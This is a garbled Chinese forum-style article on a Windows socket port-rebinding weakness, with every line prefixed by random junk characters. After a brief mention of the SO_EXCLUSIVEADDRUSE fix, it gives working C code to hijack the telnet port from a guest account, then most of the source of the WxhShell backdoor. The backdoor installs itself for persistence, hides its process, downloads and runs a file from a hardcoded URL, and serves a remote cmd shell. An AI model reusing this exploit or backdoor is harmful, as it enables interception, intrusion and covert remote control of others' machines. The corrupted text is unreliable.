在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
Fv$5Zcf s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
4v9jGwnz t ,r^zDlS<q saddr.sin_family = AF_INET;
KM
li!.(b 0=O(+
yi saddr.sin_addr.s_addr = htonl(INADDR_ANY);
nb
dm@ l{ <+V) bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
@a2n{ djJD'JL 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
?_)b[-N! V,:^@ 7d 这意味着什么?意味着可以进行如下的攻击:
~A^E_ Yw @)0%G 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
qg1s]c~0u Y1fcp_]m 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
3'tcEFkH _#32hAI 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
p_%dH -E{D'X 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
1oU/gm$7\q 0%J0.USkM7 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
9/2VU<
K AB(WK9o 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
=2v/f_ z7TMg^9# 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
Io_bS+ 8'XAZSd( #include
t7GK\B8: #include
fk%W07x! #include
h [*/Tnr #include
iB4`w\-o DWORD WINAPI ClientThread(LPVOID lpParam);
(Yi1U~{: int main()
N)yCGo {
D!7-(3R WORD wVersionRequested;
6[+@#IWx DWORD ret;
@7S*
] WSADATA wsaData;
qFQO1"mu BOOL val;
bmCp:6 SOCKADDR_IN saddr;
m8[XA!, SOCKADDR_IN scaddr;
;::]R'F[ int err;
RfoEHN SOCKET s;
j-]`;&L SOCKET sc;
7pPaHX8 int caddsize;
h;TN$ / HANDLE mt;
,f*Q3 S/I DWORD tid;
H@,h$$ wVersionRequested = MAKEWORD( 2, 2 );
YMSZcI err = WSAStartup( wVersionRequested, &wsaData );
i?{)o]i if ( err != 0 ) {
oRkh>yj' printf("error!WSAStartup failed!\n");
Cb}I-GtO return -1;
a
gkw)# }
'
%
d- saddr.sin_family = AF_INET;
WwDd62g q4MR9ig1E_ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
ohU}ST:9 W6c]a/ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
j+"w2 saddr.sin_port = htons(23);
)kMF~S|H if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
8
$qj&2 N {
VW`SqUl printf("error!socket failed!\n");
<aQ<Wy=\ return -1;
6 2:FlW> }
!jWE^@P/B val = TRUE;
s$gR;su)g //SO_REUSEADDR选项就是可以实现端口重绑定的
Xb<>AzEM if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
7Is:hx|: {
]\Z8MxFD printf("error!setsockopt failed!\n");
Lv&9s return -1;
;mT }
+)xjw9b //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
<N{wFvF //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
XCyU)[wY //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
[$X^r<|P@ emSky-{$u if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
(b;Kl1Ql] {
zC,c9b ret=GetLastError();
i 558&: printf("error!bind failed!\n");
=u-q#<h4; return -1;
5>6:#.f%!e }
:X}n[K listen(s,2);
Xj9\:M- while(1)
5szJ.!( {
uG$*DeZti caddsize = sizeof(scaddr);
F| jl=i //接受连接请求
riZ :#I sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
N7u|<
0[ if(sc!=INVALID_SOCKET)
>[2; {
\RqH"HqD mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
W3zYE3DZf if(mt==NULL)
h! Bg}B~ {
t"s$YB>} printf("Thread Creat Failed!\n");
9:E: 3%% break;
xtBu]I)% }
"Zfm4Nx" }
?9;CC]D CloseHandle(mt);
_\8jnpT: }
Ht:\
z;cu closesocket(s);
jF-:e;- WSACleanup();
!r8_'K5R( return 0;
XV}}A^ }
WG&! VK DWORD WINAPI ClientThread(LPVOID lpParam)
z/]]u.UP {
_7z]zy@PC5 SOCKET ss = (SOCKET)lpParam;
-=cm7/X SOCKET sc;
b"aF-,M> unsigned char buf[4096];
jOU99X\0 SOCKADDR_IN saddr;
boI&q>-6Re long num;
i)$P1h DWORD val;
?7]G)8G6 DWORD ret;
0l3[?YtXc //如果是隐藏端口应用的话,可以在此处加一些判断
$4mCtonP= //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
$ q*a}d[Q saddr.sin_family = AF_INET;
80=LT-%# saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
t`="2$NO saddr.sin_port = htons(23);
^Ze(WE) if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
&~Y%0&F,& {
qm"SN<2S* printf("error!socket failed!\n");
;mYZ@g%e return -1;
wfv\xHG }
jEE!H/ val = 100;
8_E(.]U if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
twu,yC! {
aAbA)'G ret = GetLastError();
,]@K,|pC) return -1;
;Xf1BG r }
c`/VYgcTqB if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
soLW'8 {
9%Tqk"x? ret = GetLastError();
Zs]n0iwM'@ return -1;
!u'xdV+bf }
"F}dZ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
z#Fel/L`O {
q 'd] printf("error!socket connect failed!\n");
S6}_N/;6~ closesocket(sc);
|{Ex)hkw closesocket(ss);
7H09\g& return -1;
{?Nm"# }
}`2a>N:
& while(1)
^.R!sQ {
eKy!Pai //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
-b
iE //如果是嗅探内容的话,可以再此处进行内容分析和记录
O_qwD6s-_ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
t
V(
WhP num = recv(ss,buf,4096,0);
I eJI-lo if(num>0)
%Z4*;VwQ send(sc,buf,num,0);
L}CU" else if(num==0)
er5!ne break;
4D2U,Ds
num = recv(sc,buf,4096,0);
\i/HHP[% if(num>0)
ii_kgqT^ send(ss,buf,num,0);
v$0|\)E) else if(num==0)
xVw@pR; break;
P
JATRJ1. }
:Fm*WqZu closesocket(ss);
:o'|%JE closesocket(sc);
`kuu}YUi return 0 ;
;-8.~Sm }
?$K-f:?c >t.Lc. z
&Xl ==========================================================
O-HS)g$2 ]:#=[CH 下边附上一个代码,,WXhSHELL
0uIY6e0E nKzm.D gt_ ==========================================================
r}&&e BY
f 5\# F5s} #include "stdafx.h"
,+
G Gn=b_! #include <stdio.h>
t1YB #include <string.h>
]y6{um8" #include <windows.h>
?tY+P`S #include <winsock2.h>
},j |eA/W #include <winsvc.h>
SFRP
?s #include <urlmon.h>
EP#2it]0] !DzeJWM| #pragma comment (lib, "Ws2_32.lib")
wv\K #pragma comment (lib, "urlmon.lib")
#?Kw
y 3s/1\m% #define MAX_USER 100 // 最大客户端连接数
72d|Jbd #define BUF_SOCK 200 // sock buffer
beBG40 #define KEY_BUFF 255 // 输入 buffer
B;eka[xU <HoCt8>U #define REBOOT 0 // 重启
zI4rAsysL #define SHUTDOWN 1 // 关机
y
Ne?a{ La )M #define DEF_PORT 5000 // 监听端口
9tJ0O5 #0r~/gW #define REG_LEN 16 // 注册表键长度
s-#EV #define SVC_LEN 80 // NT服务名长度
,Q56A#Y\ X#t tDB // 从dll定义API
3T8d?%.l typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
Cu8mN B{H typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
P !i_?M typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
uVUU1@ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
a*y9@RC} R>O_2`c // wxhshell配置信息
-n.m "O3 struct WSCFG {
`Y:]&w int ws_port; // 监听端口
4HGTgS char ws_passstr[REG_LEN]; // 口令
uK@d?u!`
int ws_autoins; // 安装标记, 1=yes 0=no
4W"A*A char ws_regname[REG_LEN]; // 注册表键名
ksC_F8Q+ char ws_svcname[REG_LEN]; // 服务名
BQ0?B*yqd char ws_svcdisp[SVC_LEN]; // 服务显示名
xT"V9t[f char ws_svcdesc[SVC_LEN]; // 服务描述信息
@v%Kw e1Q char ws_passmsg[SVC_LEN]; // 密码输入提示信息
QMBT8x/+_' int ws_downexe; // 下载执行标记, 1=yes 0=no
;|WUbc6&g char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
qUd7O](b=? char ws_filenam[SVC_LEN]; // 下载后保存的文件名
4CF;>b
f~ QEs$9a5TE };
W_2;j)i Qp:I[:Lr; // default Wxhshell configuration
Lto*L X struct WSCFG wscfg={DEF_PORT,
8X7??f1;Y "xuhuanlingzhe",
Rlewp8?LB 1,
hN2A%ds*(j "Wxhshell",
2'?'dfj "Wxhshell",
"tCTkog3] "WxhShell Service",
mLuNl^)3 "Wrsky Windows CmdShell Service",
W<)P@_+- "Please Input Your Password: ",
8:{id>Mm^ 1,
PyQ.B*JJ "
http://www.wrsky.com/wxhshell.exe",
op}!1y$9P "Wxhshell.exe"
L[Vk 6e };
|Mq+QDTTw~ i=EOk}R // 消息定义模块
~</FF'Xz char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
vUpAW[[ char *msg_ws_prompt="\n\r? for help\n\r#>";
r"dIB@ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
ln82pQD2Y~ char *msg_ws_ext="\n\rExit.";
.gJ2P?
char *msg_ws_end="\n\rQuit.";
({!!b"B2 char *msg_ws_boot="\n\rReboot...";
2l)"I char *msg_ws_poff="\n\rShutdown...";
!rUP&DA char *msg_ws_down="\n\rSave to ";
\1<'XVS q}P@}TE char *msg_ws_err="\n\rErr!";
=npE?wK char *msg_ws_ok="\n\rOK!";
L0g+RohW sC-o'13 char ExeFile[MAX_PATH];
(GmBv int nUser = 0;
^j\LB23 HANDLE handles[MAX_USER];
}emUpju<C int OsIsNt;
7_\sx7h{3 z)3TB&; SERVICE_STATUS serviceStatus;
e"04jd/ SERVICE_STATUS_HANDLE hServiceStatusHandle;
x0<;Rm [u= 1b9S";ct0 // 函数声明
Ooz,?wU6 int Install(void);
LE8<JMB int Uninstall(void);
*k LFs|U int DownloadFile(char *sURL, SOCKET wsh);
/L^g. ~ int Boot(int flag);
+Ryj82;59z void HideProc(void);
G WIsT\J int GetOsVer(void);
$f
=`fPo int Wxhshell(SOCKET wsl);
zq};{~u( void TalkWithClient(void *cs);
rwq int CmdShell(SOCKET sock);
eS8(HI6{^ int StartFromService(void);
Yqs=jTq`{ int StartWxhshell(LPSTR lpCmdLine);
c<$<n *igmi9A VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
ws0qwv# VOID WINAPI NTServiceHandler( DWORD fdwControl );
o'DtW#F MRLiiIrq,5 // 数据结构和表定义
ztO)~uL SERVICE_TABLE_ENTRY DispatchTable[] =
R:~aX,qR {
3:WqUb\QK {wscfg.ws_svcname, NTServiceMain},
c u/"=]D {NULL, NULL}
xk,Uf,,> };
J8:s=#5 =2p?_.|' // 自我安装
d {!P
c< int Install(void)
2)=whnFS {
9<Pg2#*N0 char svExeFile[MAX_PATH];
`yfZ{< HKEY key;
wsQnjT> strcpy(svExeFile,ExeFile);
#`SAc`:n WzzA:X // 如果是win9x系统,修改注册表设为自启动
px;~20$e if(!OsIsNt) {
Ux_tzd0!
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
i<ES/U\ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
NljpkeX' RegCloseKey(key);
`
i[26Qb if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
puOtF YZ\ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
@8W@I| RegCloseKey(key);
wiN0|h>, return 0;
iV{_?f1jo }
!BoGSI }
+p\E%<uQ }
d4b!
r else {
31G:[;g [E9iuym // 如果是NT以上系统,安装为系统服务
Q,NnB{R SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
;<FAcR if (schSCManager!=0)
L0![SE> {
]t0o%w SC_HANDLE schService = CreateService
}U7IMONU (
;u2[Ww~k schSCManager,
Mq91HmC(@ wscfg.ws_svcname,
&E`Nu (e wscfg.ws_svcdisp,
b~^'P SERVICE_ALL_ACCESS,
n{QyqI SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
08ZvRy(Je< SERVICE_AUTO_START,
V[.{cY?6 SERVICE_ERROR_NORMAL,
SWdmej[ svExeFile,
8#QT[H
4F NULL,
sV"tN2W@ NULL,
%wbdg&^ NULL,
u(Mbp$R'? NULL,
E3wpC#[Q1 NULL
I{$suPk );
NCk-[I?R if (schService!=0)
nYtkTP!J6 {
[4yHXZxza CloseServiceHandle(schService);
Be{@ L CloseServiceHandle(schSCManager);
Pim strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
j([b)k= strcat(svExeFile,wscfg.ws_svcname);
5]i#l3") if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
IgbuMEfL RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
'fn}I0Vc RegCloseKey(key);
t]&.'n, return 0;
j)@W1I]2# }
Ny"9!3V }
l4RqQ+[KA; CloseServiceHandle(schSCManager);
~?NCmU=3 }
8ve-g\C8 H }
v
o:KL%) >9w^C1" return 1;
B>i%:[-e }
t3$ cX_ 91z=ou // 自我卸载
~;(\a@ _ int Uninstall(void)
#s~ITG#H {
[
&Wy $ HKEY key;
7b1
yF,N "*zDb|v if(!OsIsNt) {
}zA|M9%E if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
?Z|y-4 &> RegDeleteValue(key,wscfg.ws_regname);
_CNXyFw.7 RegCloseKey(key);
%>K(IRpMW if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Rc)]A&J RegDeleteValue(key,wscfg.ws_regname);
UW":&`i RegCloseKey(key);
H'S~GP4D return 0;
m&A bH&; }
Cnpl0rV~5 }
ULew ~j }
7NEOaX(J9 else {
uhq6dhhR YEV;GFI1 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
EW]DzL3 if (schSCManager!=0)
gB#!g@ {
UVXruH SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
M]V
j if (schService!=0)
O#tmB?n* {
wPghgjF{ if(DeleteService(schService)!=0) {
uEPm[oyX CloseServiceHandle(schService);
k&yBB%g CloseServiceHandle(schSCManager);
q|YnNk>1 return 0;
R?:K\ }
V,ZRX}O CloseServiceHandle(schService);
heF'7ezv# }
-0(+a$P7e CloseServiceHandle(schSCManager);
2;:]Q.g }
(QFZM"G }
Z+R-}< lxTqGwx return 1;
bIt{kzuQC }
qUe2(/TQu <mLU-'c@ // 从指定url下载文件
v-$X1s int DownloadFile(char *sURL, SOCKET wsh)
!6.LSY,E {
bjUe+#BL HRESULT hr;
"7alpjwb char seps[]= "/";
GLY,<O>D5 char *token;
Gyu =} char *file;
L_Z`UhD3{ char myURL[MAX_PATH];
-{3^~vW|< char myFILE[MAX_PATH];
S@\&^1;4Hv un6W|{4] strcpy(myURL,sURL);
4xx?x/q token=strtok(myURL,seps);
6wiuNGZb while(token!=NULL)
O,@QGUoA {
F[ ^ p~u{ file=token;
0NsPo token=strtok(NULL,seps);
n\JSt}A }
`5t~
Vlp {KqW<X6Hp GetCurrentDirectory(MAX_PATH,myFILE);
v]drDVJ
strcat(myFILE, "\\");
#I yM`YB0 strcat(myFILE, file);
ORo +]9)Yv send(wsh,myFILE,strlen(myFILE),0);
:)_P7k`>e/ send(wsh,"...",3,0);
eF8um$t9 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
mX
SLH' if(hr==S_OK)
ZCuh^ return 0;
Ky7-6$ else
2\}6b4 return 1;
x@@k_'~t% e]jzFm~ }
BGB.SN#q+ 9&c *%mm // 系统电源模块
>GDN~'}^oz int Boot(int flag)
+]Bx4r?p {
%gEfG#S HANDLE hToken;
+DT)7koA TOKEN_PRIVILEGES tkp;
xI=[=;L #5kg3OO if(OsIsNt) {
5o~AUo{ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
h8SK8sK< LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
l&Fx<
W tkp.PrivilegeCount = 1;
iV%tn{fc tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
@n=FSn6c AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
5#? HL if(flag==REBOOT) {
9T;l* if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
QEL3b4Vm return 0;
ET ]` }
nG5:H.) else {
! F&{I if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
z 2V_nkI return 0;
hzk]kM/OC }
iGeuO[^ }
F[|aDj@q e else {
|w^nCsv if(flag==REBOOT) {
0wl31k{ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
[=xO> return 0;
_1Iw"K49Qx }
0SLn0vD! else {
'r`-J4icX if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
Jqi^Z*PuX return 0;
U@?Roenn }
w0t||qj^>" }
#`2*V ?To r)>A' return 1;
PT`gAUCw }
Zz04Pz1 Hq$?-%4 // win9x进程隐藏模块
('p~h-9Vi void HideProc(void)
j1,ir {
V5LzUg] AA,n.;zy< HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
Q|o~\h< if ( hKernel != NULL )
-i?-Xj#% {
|q\:3R_0 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
a2un[$Jq` ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
]q@6&]9 FreeLibrary(hKernel);
d1>Nn!m }
|P]>[}mD viY &D return;
MkG*6A }
Cc,,e` rt\4We,7 // 获取操作系统版本
h=~TgTv int GetOsVer(void)
7fJWb)z!k {
1e#}+i!a OSVERSIONINFO winfo;
j!P]xl0vOZ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
H6XlSj GetVersionEx(&winfo);
)W/mt[; if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
V"@]PI pr return 1;
(a i&v else
uD''0G\ return 0;
<J QvuC }
jsG
epi9 LN?W~^gsR // 客户端句柄模块
<OEu 4,~: int Wxhshell(SOCKET wsl)
7,2bR {
/u8m|S< SOCKET wsh;
hIPU%
struct sockaddr_in client;
.5zqpm DWORD myID;
Og`w ~!\ =)3tVH& while(nUser<MAX_USER)
/r Hd9^Y {
Hb;#aXHSd int nSize=sizeof(client);
*.J)7~(P wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
#yk
m if(wsh==INVALID_SOCKET) return 1;
]QS?fs Z tQ:)j^\ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
Ln})\
UDK) if(handles[nUser]==0)
(W|Eg closesocket(wsh);
w#5^A(NR else
S]3t{s#JW7 nUser++;
y#Ao6Od6 }
L= fz:H WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
4cni_m] 8`*Wl;9u return 0;
G.,dP+i }
:.IVf Zw VMUK|pC4K // 关闭 socket
%_!YonRY|X void CloseIt(SOCKET wsh)
SAt{At {
54w..8' closesocket(wsh);
nTweQ nUser--;
nxP>IfSA ExitThread(0);
7p(^I*| }
`2y2Bk %11&8Fp1s // 客户端请求句柄
Bg*Oj)NM void TalkWithClient(void *cs)
2Ke?* {
hGx)X64Mw QcGyuS.B SOCKET wsh=(SOCKET)cs;
7c9-MP) char pwd[SVC_LEN];
k1HukGa char cmd[KEY_BUFF];
:e5)Q=lX char chr[1];
-gl7mO * int i,j;
MMglo3 ,mR$YT8 while (nUser < MAX_USER) {
oX@0+*" #`rvL6W q} if(wscfg.ws_passstr) {
vd>X4e^j if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
ML!Zm[I9 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
8S[`(]
) //ZeroMemory(pwd,KEY_BUFF);
%Uj7g> i=0;
rYbb&z!u while(i<SVC_LEN) {
uI^E9r/hB _6v|k}tW'Y // 设置超时
r7r>1W%4 fd_set FdRead;
K'EGm #I struct timeval TimeOut;
Nh7+Vl FD_ZERO(&FdRead);
,rT62w*e FD_SET(wsh,&FdRead);
*P,dR]-m TimeOut.tv_sec=8;
?'_E$ TimeOut.tv_usec=0;
C~F do0D int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
!%<bLD8 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
oqa]iBO ^| L@f if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
g/&`NlD pwd
=chr[0]; 5T)qn`%
if(chr[0]==0xd || chr[0]==0xa) { ,*SoV~
pwd=0; )#
le|Rf
break; e)kN%JqW
} u/3[6MIp
i++; E? 1"&D
m
} dGU io?
/ E~)xgPM<
// 如果是非法用户,关闭 socket =c
3;@CO
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ^sR]w]cz.
} Nf(Np1?;c
!iBe/yb
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Sq"O<FmI
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *5'U3py
4<b=;8
while(1) { SXfuPM
{//;GC*
ZeroMemory(cmd,KEY_BUFF); V3j1M?>
ZSCZt&2v
// 自动支持客户端 telnet标准 jU\vg;nr
j=0; R0dIxG%
while(j<KEY_BUFF) { by z2u
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); o";5@NH
cmd[j]=chr[0]; ^.5`jdk
if(chr[0]==0xa || chr[0]==0xd) {
"LyMw){
cmd[j]=0; GORu*[U8
break; 5g9lO]WDI
} "iFA&$\
j++; :<$B o
} bvY'=
[J4
Aig
// 下载文件 Q>qx?
g
if(strstr(cmd,"http://")) { thWQU"z4
send(wsh,msg_ws_down,strlen(msg_ws_down),0); F/c7^
if(DownloadFile(cmd,wsh)) M{ #
send(wsh,msg_ws_err,strlen(msg_ws_err),0); LgN\%5f-
else !vNZ-}
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'BY{]{SL
} .kO!8Q-;%
else { %n<u- {`
MRzrZZ%LQ
switch(cmd[0]) { .I%p0ds1r
sU>!sxW
// 帮助 )Ih'0>=
case '?': { LwDm(gG
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); "YLH]9"=
break; *LnY}#
} ?@W=bJ8{
// 安装 ,0ZkE}<=w
case 'i': { 3m1]Ia-9
if(Install()) ~9#nC`%2j
send(wsh,msg_ws_err,strlen(msg_ws_err),0);
#P:o
else iwb]mJUA
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uMW5F-~-+
break; M
XB
fX
} @o&.]FZs
// 卸载 Gt{'` P,&9
case 'r': { mIu-
if(Uninstall()) 9y/gWE
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1]eh0H
else TUeW-'/1
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7bBOV(/s
break; 56!>}!8!
} -]=-IiC#
// 显示 wxhshell 所在路径 rN3i5.*/t
case 'p': { 4}nsW}jCc
char svExeFile[MAX_PATH]; Efo,5
strcpy(svExeFile,"\n\r"); Qg]8~^Q<
strcat(svExeFile,ExeFile); wm@/>X
send(wsh,svExeFile,strlen(svExeFile),0);
Jz(!eTVs
break; C^Jf&a
} :/e=J
// 重启 oS'M
case 'b': { QW~-+BD
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); z?C;z7eT
if(Boot(REBOOT)) ]V9z)uz
send(wsh,msg_ws_err,strlen(msg_ws_err),0); [E_+fT
else { )IIQ{SwQq
closesocket(wsh); $)OUOv
ExitThread(0); z?~W]PWiZ
} oYWcX9R
break; H*U\P 2C!)
} !A>VzW
// 关机 !*8x>,/>
case 'd': { RZykwD(
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); g=?KpI-pn0
if(Boot(SHUTDOWN)) USVM' ~p I
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6km{=
```
else { .F'fBT`$
closesocket(wsh); o6e6Jw
ExitThread(0); QC:/xP
} \Yv<TzJ9
break; PPCZT3c=
} Uk5O9D0
He
// 获取shell 5- Q`v/w;
case 's': { H!dUQ
CmdShell(wsh); M4a-+T"
closesocket(wsh); ]Y[8|HJ8
ExitThread(0); *!De(lhEc
break; x/$s:[0B#
} WWF#&)ti
// 退出 <DS+"#
case 'x': { ^iJMUV|
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); qlUYu"`i
CloseIt(wsh); 5 Vm
|/
break; qL^}t_>
} W%]sI n
// 离开 6p/gvpZ
case 'q': { 7lpd$Y
send(wsh,msg_ws_end,strlen(msg_ws_end),0); aE^tc'h~
closesocket(wsh); ?v2OoNQ
WSACleanup(); sV7dgvVd
exit(1); lj"L Q(^
break; P=&J e?
} *VT@
} }I7/FqrD
} ;??wLNdf-
6Rn_@_Nn)f
// 提示信息 $;*YdZ`q
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); l79jd%/m
} q>&F%;q1]
} ?r@euZ&
ypXKw7f(
return; )>,b>7
} 4ei
.-
]>@;
2%YvY
// shell模块句柄 l;>#O
int CmdShell(SOCKET sock) V"VWHAu*.w
{ 3OHP-oa.
STARTUPINFO si; zY8"\ZB
ZeroMemory(&si,sizeof(si)); ~MY7Ic%
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; aDa}@-F&a
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; X|L8s$>
PROCESS_INFORMATION ProcessInfo; okX\z[X
char cmdline[]="cmd"; x&R&\}@G m
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); G#'3bxI{f+
return 0; A"Rzn1/
} %5RYa<oP
@M4~,O6-
// 自身启动模式 uAyj##H
int StartFromService(void) 8QYG"CA6/
{ sTqy-^e7
typedef struct +7<{yP6wU
{ _u}v(!PI
DWORD ExitStatus; bWv6gOPR3
DWORD PebBaseAddress; PK C``+Ki
DWORD AffinityMask; K_nN|'R-
DWORD BasePriority; >c7/E
ULONG UniqueProcessId; fRT:@lV
